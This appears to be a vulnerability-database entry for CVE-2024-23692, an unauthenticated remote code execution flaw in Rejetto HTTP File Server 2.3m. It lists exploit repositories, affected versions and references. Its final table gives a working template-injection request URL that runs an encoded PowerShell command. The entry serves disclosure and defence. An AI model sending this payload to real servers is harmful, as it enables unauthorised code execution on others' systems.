CVE-2024-23692

🗓️ 31 May 2024 09:36:28Reported by VulnCheckType

cve🔗 web.nvd.nist.gov📰️ 5 Media mentions👁 454 Views🌐 WEB

Rejetto HTTP File Server 2.3m template injection vulnerability

Reporter	Title	Published	Views	Family All 58
GithubExploit	Exploit for Code Injection in Rejetto Http_File_Server	10 Jul 202404:44	–	githubexploit
GithubExploit	Exploit for Incorrect Authorization in Apache Ofbiz	22 Aug 202404:05	–	githubexploit
GithubExploit	Exploit for Code Injection in Rejetto Http_File_Server	13 Jun 202406:00	–	githubexploit
GithubExploit	Exploit for Code Injection in Rejetto Http_File_Server	15 Sep 202412:15	–	githubexploit
GithubExploit	Exploit for Code Injection in Rejetto Http_File_Server	11 Jun 202407:21	–	githubexploit
GithubExploit	Exploit for Code Injection in Rejetto Http_File_Server	21 Dec 202407:13	–	githubexploit
GithubExploit	Exploit for Code Injection in Rejetto Http_File_Server	13 Jun 202409:12	–	githubexploit
GithubExploit	Exploit for Improper Neutralization of Special Elements Used in a Template Engine in Rejetto Http_File_Server	8 Aug 202604:20	–	githubexploit
GithubExploit	Exploit for Code Injection in Rejetto Http_File_Server	6 Mar 202510:12	–	githubexploit
GithubExploit	Exploit for Code Injection in Rejetto Http_File_Server	13 Jun 202413:13	–	githubexploit

NVD

Vulners

Vulnrichment

CNA

Node

rejetto http_file_serverRange≤2.4

[
  {
    "defaultStatus": "unaffected",
    "product": "HTTP File Server",
    "vendor": "Rejetto",
    "versions": [
      {
        "lessThanOrEqual": "2.3m",
        "status": "affected",
        "version": "0",
        "versionType": "custom"
      }
    ]
  }
]

Source	Link
mohemiv	www.mohemiv.com/all/rejetto-http-file-server-2-3m-unauthenticated-rce/
github	www.github.com/rapid7/metasploit-framework/pull/19240
vulncheck	www.vulncheck.com/advisories/rejetto-unauth-rce
vicarius	www.vicarius.io/vsociety/posts/unauthenticated-rce-flaw-in-rejetto-http-file-server-cve-2024-23692
vicarius	www.vicarius.io/vsociety/posts/cve-2024-23692-rejetto-hfs-mitigate-vulnerability
vicarius	www.vicarius.io/vsociety/posts/cve-2024-23692-detect-rejetto-hfs-vulnerability
cisa	www.cisa.gov/known-exploited-vulnerabilities-catalog

Parameter	Position	Path	Description	CWE
n	query param	/?n=%0A&cmd=cmd+/c+powershell+-enc+$encodedCommand&search=%25xxx%25url%25:%password%}\{.exec\|{.?cmd.}\|timeout=15\|out=abc.}\{.?n.}\{.?n.}RESULT:\{.?n.}\{.^abc.}\}====\{.?n.}	Unauthenticated remote code execution via template injection in Rejetto HFS 2.3m; exploit uses crafted root URL with template-injection pattern in the search parameter.	CWE-1336, CWE-94
cmd	query param	/?n=%0A&cmd=cmd+/c+powershell+-enc+$encodedCommand&search=%25xxx%25url%25:%password%}\{.exec\|{.?cmd.}\|timeout=15\|out=abc.}\{.?n.}\{.?n.}RESULT:\{.?n.}\{.^abc.}\}====\{.?n.}	Unauthenticated remote code execution via template injection in Rejetto HFS 2.3m; exploit uses crafted root URL with template-injection pattern in the search parameter.	CWE-1336, CWE-94
search	query param	/?n=%0A&cmd=cmd+/c+powershell+-enc+$encodedCommand&search=%25xxx%25url%25:%password%}\{.exec\|{.?cmd.}\|timeout=15\|out=abc.}\{.?n.}\{.?n.}RESULT:\{.?n.}\{.^abc.}\}====\{.?n.}	Unauthenticated remote code execution via template injection in Rejetto HFS 2.3m; exploit uses crafted root URL with template-injection pattern in the search parameter.	CWE-1336, CWE-94